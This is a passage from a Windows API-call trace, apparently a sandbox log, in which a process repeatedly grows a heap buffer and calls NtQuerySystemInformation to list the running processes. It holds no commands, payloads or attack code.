ResultLength=0x0) returned 0x0 [0213.925] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0214.030] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0214.030] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0214.030] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0214.030] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0214.031] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0214.031] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0214.031] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0214.031] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0214.031] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0214.031] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0214.031] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0214.031] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0214.031] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0214.031] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0214.031] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0214.031] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0214.031] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0214.139] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0214.139] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0214.139] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0214.139] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0214.139] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0214.139] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0214.140] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0214.140] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0214.140] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0214.140] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0214.140] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0214.140] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0214.140] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0214.140] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0214.140] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0214.140] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0214.140] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0214.249] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0214.249] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0214.249] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0214.249] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0214.250] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0214.250] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0214.250] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0214.250] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0214.250] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0214.250] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0214.250] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0214.250] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0214.250] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0214.250] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0214.250] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0214.250] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0214.250] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0214.357] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0214.358] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0214.358] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0214.358] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0214.358] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0214.358] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0214.358] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0214.358] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0214.358] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0214.358] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0214.358] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0214.358] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0214.358] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0214.358] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0214.359] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0214.359] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0214.359] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0214.468] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0214.468] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0214.469] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0214.469] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0214.469] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0214.469] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0214.469] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0214.469] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0214.469] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0214.469] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0214.469] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0214.469] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0214.469] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0214.469] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0214.469] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0214.469] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0214.470] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0214.685] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0214.685] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0214.685] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0214.685] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0214.686] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0214.686] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0214.686] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0214.686] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0214.686] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0214.686] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0214.686] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0214.686] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0214.686] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0214.686] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0214.686] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0214.686] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0214.686] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0215.017] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0215.017] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0215.017] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0215.017] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0215.017] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0215.017] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.017] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0215.017] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.018] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0215.018] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.018] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0215.018] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.018] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0215.018] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0215.018] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0215.018] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0215.018] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0215.180] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0215.180] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0215.180] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0215.180] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0215.180] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0215.181] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.181] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0215.181] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.181] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0215.181] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.181] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0215.181] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.181] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0215.181] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0215.181] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0215.181] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0215.181] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0215.278] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0215.278] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0215.278] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0215.278] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0215.278] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0215.278] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.278] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0215.278] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.279] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0215.279] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.279] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0215.279] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.279] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0215.279] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0215.279] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0215.279] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0215.279] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0215.387] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0215.387] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0215.387] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0215.387] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0215.388] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0215.388] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.388] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0215.388] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.388] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0215.388] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.388] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0215.388] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.388] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0215.388] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0215.388] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0215.388] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0215.388] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0215.496] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0215.497] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0215.497] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0215.497] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0215.497] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0215.497] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.497] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0215.497] NtQuerySystemInformation (in: SystemInformationClass=0x5, 